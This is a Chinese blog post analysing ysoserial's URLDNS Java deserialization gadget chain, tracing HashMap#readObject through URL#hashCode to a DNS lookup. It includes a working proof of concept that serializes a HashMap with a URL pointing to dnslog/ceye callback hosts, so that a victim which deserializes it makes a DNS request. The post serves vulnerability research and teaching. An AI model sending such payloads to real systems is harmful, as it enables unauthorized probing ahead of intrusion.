Loading

ysoserial之URLDNS链

前言

大致了解完反序列化漏洞的原理之后,就可以开始尝试调试一些漏洞利用链,这里推荐ysoserial

ysoserial

将项目导入IDEA中,下载pom.xml依赖,寻找程序入口

GeneratePayload的main方法
首先判段是否传入了两个参数,如果不是则打印帮助信息;是的话会依次分别赋值给payloadTypecommand变量。
之后实例化了一个需要继承ObjectPayload类的类实例化对象,跟进一下getPayloadClass方法,在ysoserial.payloads.ObjectPayload.Utils

先反射生成一个class对象,之后获取包名和类名并加上我们之前传入的payloadType参数并将返回值赋值给GeneratePayload的payloadclass

根据payloadclass实例化一个对象赋值给payload,之后调用getObject方法,跟进

该方法定义于ObjectPayload接口,继续跟进

可以看到该方法在36个利用链中都得到实现,这里进入URLDNS链看看

URLDNS类是实现了ObjectPayload接口,那么上面的操作就是根据输入的参数,获取类名并定位到该类中,也就是进入到利用链的类文件中,调用该类的getObject方法生成payload并将返回值(也就是序列化payload)赋值给object对象,继续回到GeneratePayload#main方法中

之后调用serialize()方法将payload序列化并打印输出。
payload生成流程就是这样,下面跟进去运行测试一下,生成一个URLDNS链的序列化payload,这里需要先设置一下参数

设置后直接运行

乱码数据就是上面分析过的,经过一系列操作生成的URLDNS序列化之后的payload字节序列

URLDNS链

URLDNS利用链是反序列化中较为简单的一条,但利用效果是只能触发一次dns请求,而不能去执行命令。比较适用于漏洞验证这一块,而且URLDNS这条利用链并不依赖于第三方的类,而是JDK中内置的一些类和方法。
在一些漏洞利用没有回显的时候,我们也可以使用到该链来验证漏洞是否存在

可以看到HashMap实现了序列化接口,是可以反序列化的

在Hashmap中搜一下readObject方法,发现在最后调用了putVal方法进行了一个hash计算

继续跟进,看一下hash方法

这里调用keyhashCode方法,回到urldns这个payload

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url);

可知这里压入的key是一个java.net.URL对象
跟到java.net.URLhashCode方法

这里的hashCode字段如果为-1,调用handler的hashCode方法,因此payload中通过反射设置了hashCode的值为-1
此处handler为java.net.URLStreamHandler的自定义子类SilentURLStreamHandler对象
跟到java.net.URLStreamHandler中的hashCode方法

第10行调用getHostAddress,继续跟进该方法

这里第10行调用了InetAddress.getByName,也就是触发一次dns查询
这里的参数u也就是payload中需要我们传入的参数String url。
回到第一步HashMap#readObject

key是使用readObject取出来的,也就是说在writeObject一定会写入key,看看writeObject方法

private void writeObject(java.io.ObjectOutputStream s)
        throws IOException {
        int buckets = capacity();
        // Write out the threshold, loadfactor, and any hidden stuff
        s.defaultWriteObject();
        s.writeInt(buckets);
        s.writeInt(size);
        internalWriteEntries(s);
    }

跟入internalWriteEntries

  void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {
        Node<K,V>[] tab;
        if (size > 0 && (tab = table) != null) {
            for (int i = 0; i < tab.length; ++i) {
                for (Node<K,V> e = tab[i]; e != null; e = e.next) {
                    s.writeObject(e.key);
                    s.writeObject(e.value);
                }
            }
        }
    }

可以发现这里的key以及value是从tab中取的,而tab的值即HashMap中table的值。
此时我们如果想要修改table的值,就需要调用HashMap#put方法,而HashMap#put方法中也会对key调用一次hash方法,所以在这里就会产生第一次dns查询
HashMap#put

测试:

import java.util.HashMap;
import java.net.URL;

public class URLDNStest {

    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://razgbd.dnslog.cn");
        map.put(url,123); //此时会产生dns查询
    }

}

我们只想判断payload在对方机器上是否成功触发,那该怎么避免掉这一次dns查询,回到URL#hashCode

这里会先判断hashCode是否为-1,如果不为-1则直接返回hashCode,也就是说我们只要在put前修改URL的hashCode为其他任意值,就可以在put时不触发dns查询

这里的hashCode是private修饰的,所以我们需要通过反射来修改其值。

import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;

public class Test {

    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://urldns.4ac35f51205046ab.dnslog.cc/");
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true); //修改访问权限
        f.set(url,123); //设置hashCode值为123,这里可以是任何不为-1的数字
        System.out.println(url.hashCode()); // 获取hashCode的值,验证是否修改成功
        map.put(url,123); //调用map.put 此时将不会再触发dns查询
    }

}


此时输出url的hashCode为123,证明修改成功。当put完毕之后再将url的hashCode修改为-1,确保在反序列化调用hashCode方法时能够正常进行,下面是完整的POC

public class Test {

    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://urldns1.eakcmc.ceye.io/");
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true); // 修改访问权限
        f.set(url,123); // 设置hashCode值为123,这里可以是任何不为-1的数字
        System.out.println(url.hashCode()); // 获取hashCode的值,验证是否修改成功
        map.put(url,123); // 调用map.put 此时将不会再触发dns查询
        f.set(url,-1); // 将url的hashCode重新设置为-1。确保在反序列化时能够成功触发

        try{
            FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");
            ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
            outputStream.writeObject(map);
            outputStream.close();
            fileOutputStream.close();

            FileInputStream fileInputStream = new FileInputStream("./urldns.ser");
            ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
            inputStream.readObject();
            inputStream.close();
            fileInputStream.close();
        }catch(Exception e){
            e.printStackTrace();
        }

    }

}

回过头来看看ysoserial的payload
ysoserial在创建URL对象时使用了三个参数的构造方法。这里比较有意思的是,ysoserial用了子类继承父类的方式规避了dns查询的风险,其创建了一个内部类:

static class SilentURLStreamHandler extends URLStreamHandler {

       protected URLConnection openConnection(URL u) throws IOException {
           return null;
       }

       protected synchronized InetAddress getHostAddress(URL u) {
           return null;
       }
   }

定义了一个URLConnectiongetHostAddress方法,当调用put方法走到getHostAddress方法后,会调用SilentURLStreamHandlergetHostAddress而非URLStreamHandlergetHostAddress,这里直接return null了,所以自然也就不会产生dns查询。
为什么在反序列化时又可以产生dns查询了呢?是因为这里的handler属性被设置为transient,被transient修饰的变量无法被序列化,所以最终反序列化读取出来的transient依旧是其初始值,也就是URLStreamHandler

而payload中的handler使用自定义的java.net.URLStreamHandler的子类SilentURLStreamHandler对象,原因是

  1. URLStreamHandler是抽象类不能直接实例化
  2. 是该子类重写了getHostAddress方法,可避免在生成payload时就触发dns请求。
    调用链如下
HashMap#readObject
    HashMap#hash
        URL#hashCode
        URLStreamHandler#hashCode
        URLStreamHandler#getHostAddress

在URLDNS里面其实导致反序列化的根本原因是因为Hashmap重写了readobject反序列化方法,而重写后的readobject方法调用了putVal导致的一个利用链
也就是说,在实际项目中找到一个readObject方法,然后往下找Hashmap这个类,就可以利用URLDNS这条链。

posted @ 2022-11-09 16:12  gk0d  阅读(539)  评论(0编辑  收藏  举报